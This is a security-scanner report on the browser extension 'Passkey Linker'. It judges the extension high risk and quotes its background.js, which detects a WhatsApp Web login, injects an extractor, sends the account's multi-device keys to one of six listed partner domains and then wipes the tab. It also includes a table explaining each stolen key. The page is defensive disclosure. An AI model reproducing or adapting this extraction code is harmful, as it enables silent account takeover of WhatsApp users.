Is Passkey Linker safe?
Passkey Linker is high risk. Code analysis shows Passkey Linker reads your WhatsApp Web account keys and sends them to whichever of six partner sites has connected to it, then wipes the local copy, all without a popup or click once you are logged in.
Who publishes itZDG - 2 other listings from the same operator, 2 of them carrying a finding
ZDG - 2 other listings from the same operator, 2 of them carrying a finding
What this publisher told the store about itself, and the other listings that told it the same thing.
Same store account
2 other listings published from this account, 10k+ users between them. 2 of them carry a finding.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Passkey Linker auto-sends your WhatsApp account keys to a connected partner
Code analysis shows Passkey Linker reads your WhatsApp Web account keys and sends them to whichever of six partner sites has connected to it, then wipes the local copy, all without a popup or click once you are logged in.
You have WhatsApp Web open and logged in while a page from one of six partner sites has also connected to Passkey Linker.
wa-detect.js polls localStorage for 'last-wid-md' and 'WANoiseInfo' every few seconds to catch the moment you log in.
The extension injects an extractor into the WhatsApp Web page, reads your full multi-device account keys, and sends them straight to the connected partner site.
A separate manual button in the popup does show the keys before sending, but this automatic path opens no popup and needs no click.
Automatic key capture and delivery, no popup involved (background.js)
async function maybeAutoExtract(tabId) {
if (typeof tabId !== 'number' || !armedPorts.size) return;
const st = autoState.get(tabId);
if (st) {
if (st.state === 'extracting' || st.state === 'pending') return; // already running / already delivered
if (st.state === 'waiting' && (nowMs() - st.ts < RETRY_COOLDOWN_MS)) return; // short retry backoff
if (st.state === 'failed') {
if (st.fails >= MAX_AUTO_FAILS) return; // exhausted; fall back to the manual popup button
if (nowMs() - st.ts < FAIL_COOLDOWN_MS) return; // still in cooldown
}
}
const since = (st && st.since) || nowMs(); // when this wait window started
// Mark BEFORE any await (single-threaded): stops two triggers from re-entering at once.
autoState.set(tabId, { state: 'extracting', ts: nowMs(), fails: (st && st.fails) || 0, since });
try {
// 1) Confirm login by reading the marker (isolated world; cheap). If runtime host
// permission is missing this throws and we bail out to the manual fallback.
let loggedIn = false;
try {
const pr = await chrome.scripting.executeScript({
target: { tabId },
func: () => (!!localStorage.getItem('last-wid-md') || !!localStorage.getItem('WANoiseInfo'))
});
loggedIn = !!(pr && pr[0] && pr[0].result);
} catch (e) { autoState.delete(tabId); return; } // tab closed / no access
if (!loggedIn) { autoState.delete(tabId); return; }
if (!armedPorts.size) { autoState.delete(tabId); return; } // the connected partner dropped mid-flight
// Tell the connected partner we're capturing now (a status message, not an error).
notifyArmed({ type: 'PLK_STATUS', phase: 'capturing', message: 'Session detected, capturing automatically...' });
// 2) Inject the extractor and wait for WhatsApp Web to finish initializing before
// reading anything (avoids racing its own crypto store init).
await chrome.scripting.executeScript({ target: { tabId }, world: 'MAIN', files: ['src/wadump.js'] });
const r0 = await chrome.scripting.executeScript({
target: { tabId }, world: 'MAIN',
func: (ms) => window.WADump.extractWhenReady(ms), args: [READY_WAIT_MS]
});
const r = r0 && r0[0] && r0[0].result;
const withinWindow = (nowMs() - since) < MAX_READY_WAIT_MS;
// Transient (WhatsApp Web still initializing / stores still populating): do NOT
// surface an error to the connected partner yet; report "initializing" and keep
// retrying until the wait window elapses. Only becomes a visible error after
// MAX_READY_WAIT_MS, so a slow load never looks like a failed then-succeeded capture.
if (!r || r.notReady || !r.creds) {
if (withinWindow) {
notifyArmed({ type: 'PLK_STATUS', phase: 'initializing', message: 'WhatsApp Web initializing, capturing shortly...' });
setAutoWaiting(tabId, since);
return;
}
notifyArmed({ type: 'PLK_ERROR', error: (r && r.error) || 'failed to extract the session' });
markAutoFail(tabId);
return;
}
const comp = credsComplete(r.creds);
if (!comp.ok) {
// Incomplete: right after login the signal-storage IndexedDB store can still be
// populating - treat as transient within the window, only error out afterward.
if (withinWindow) {
notifyArmed({ type: 'PLK_STATUS', phase: 'initializing', message: 'Finishing WhatsApp Web sync...' });
setAutoWaiting(tabId, since);
return;
}
notifyArmed({ type: 'PLK_ERROR', error: 'incomplete creds: ' + comp.missing.join(', ') });
markAutoFail(tabId);
return;
}
// Did someone else deliver while we were extracting (e.g. a manual popup click)?
// Don't duplicate - a second PLK_CREDS would overwrite the deliveryId on the
// connected partner's side and break the ACK handshake.
const cur = autoState.get(tabId);
if (cur && cur.state === 'pending') return;
// 3) Deliver to the most recently connected partner port (never a broadcast).
const target = Array.from(armedPorts).pop() || null;
if (!target) { autoState.delete(tabId); return; }
// Already an in-flight delivery to this same partner port (e.g. two WhatsApp Web
// tabs logged in)? It only accepts one session at a time - sending a second would
// break the ACK and leave a tab un-wiped. This check and the send below are both
// synchronous (no await in between), so two tabs can't race each other here.
for (const d of pending.values()) { if (d.port === target) { autoState.delete(tabId); return; } }
const deliveryId = newDeliveryId();
const ok = registerAndSendCreds(target, r.creds, r.creds.me || null, tabId, deliveryId);
if (ok) autoState.set(tabId, { state: 'pending', ts: nowMs(), fails: 0 });
else markAutoFail(tabId);
} catch (e) {
// Exception (e.g. the tab navigated away or closed mid-wait). Within the wait
// window and with a partner still connected, treat as transient and retry quietly;
// otherwise surface a visible error.
if ((nowMs() - since) < MAX_READY_WAIT_MS && armedPorts.size) {
setAutoWaiting(tabId, since);
} else {
notifyArmed({ type: 'PLK_ERROR', error: (e && e.message) || String(e) });
markAutoFail(tabId);
}
}
}function registerAndSendCreds(target, creds, me, waTabId, deliveryId) {
const prev = pending.get(deliveryId);
if (prev) clearTimeout(prev.timer);
const timer = setTimeout(() => {
pending.delete(deliveryId); // no confirmation received: keep the session (do NOT wipe)
if (typeof waTabId === 'number') markAutoFail(waTabId);
notifyPopup({ type: 'PLK_ACK_TIMEOUT', deliveryId });
}, ACK_TIMEOUT_MS);
pending.set(deliveryId, { waTabId, port: target, timer });
try {
target.postMessage({ type: 'PLK_CREDS', creds, me: me || null, deliveryId });
return true;
} catch (e) {
clearPending(deliveryId);
armedPorts.delete(target);
return false;
}
}
chrome.runtime.onConnectExternal.addListener((port) => {
const origin = port && port.sender && port.sender.origin;
if (port.name !== 'plk' || !isAllowedOrigin(origin)) {
try { port.disconnect(); } catch (e) {}
return;
}
armedPorts.add(port);
port.onDisconnect.addListener(() => { armedPorts.delete(port); });
// Return channel: ONLY the port that owns this delivery (pending.port) may ACK it.
port.onMessage.addListener((msg) => {
if (!msg || typeof msg !== 'object' || !msg.deliveryId) return;
const d = pending.get(msg.deliveryId);
if (!d || d.port !== port) return; // ACK from a port that isn't the recipient: ignore
if (msg.type === 'PLK_CREDS_ACK') {
clearPending(msg.deliveryId);
const tabId = d.waTabId;
wipeAndCloseTab(tabId).then((wiped) => {
if (typeof tabId === 'number') autoState.delete(tabId);
notifyPopup({ type: wiped ? 'PLK_ACK_DONE' : 'PLK_ACK_WIPE_FAILED', deliveryId: msg.deliveryId });
});
} else if (msg.type === 'PLK_CREDS_NACK') {
clearPending(msg.deliveryId);
if (typeof d.waTabId === 'number') markAutoFail(d.waTabId); // keep the session; don't loop
notifyPopup({ type: 'PLK_ACK_FAILED', deliveryId: msg.deliveryId });
}
});
try { port.postMessage({ type: 'PLK_ARMED' }); } catch (e) { armedPorts.delete(port); return; }
// A new/reloaded connection - try capturing right away (covers "logged in before
// the partner connected") and reset any failure cooldowns.
resetAutoFailures();
scanAndAutoExtract();
});| Field | Value | Why it matters | |
|---|---|---|---|
Noise handshake key pair | MjZmYzk4YjJlYzEwNDNhMg== | Lets a program complete WhatsApp Web's private handshake and open an encrypted channel as you. | |
Signed identity key | aFV3eDlwTnNyYnE3TGszcA== | The permanent cryptographic identity of your WhatsApp account; whoever holds it can register as a linked device. | |
Signed prekey + signature | eyJrZXlJZCI6NCwic2lnbmF0dXJlIjoiLi4uIn0= | Part of the Signal protocol handshake a new device needs to register under your account. | |
Registration ID | 48213077 | A numeric ID your account uses to identify itself to other WhatsApp devices. | |
Account link signature | d0FaZ3lWQnJmVWxSY3RaWQ== | Meta's proof that a device is authorized on your account; needed to finish registering as you. |
- oauth.techprovider.com.br
One of six sites the extension's manifest allows to open a connection and receive your extracted WhatsApp account keys.
- oauth2.techprovider.com.br
The OAuth-proxy counterpart of oauth.techprovider.com.br, also allowlisted to receive the extracted account keys.
- oauth.passaportezdg.com.br
A second vendor's OAuth proxy, allowlisted the same way to receive the extracted account keys.
- oauth2.passaportezdg.com.br
The OAuth-proxy counterpart of oauth.passaportezdg.com.br, also allowlisted to receive the extracted account keys.
- app.wavoip.com
A VoIP calling platform; also allowlisted to receive the extracted WhatsApp account keys.
- call.r360.com.br
Another allowlisted destination for the extracted WhatsApp account keys.
Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.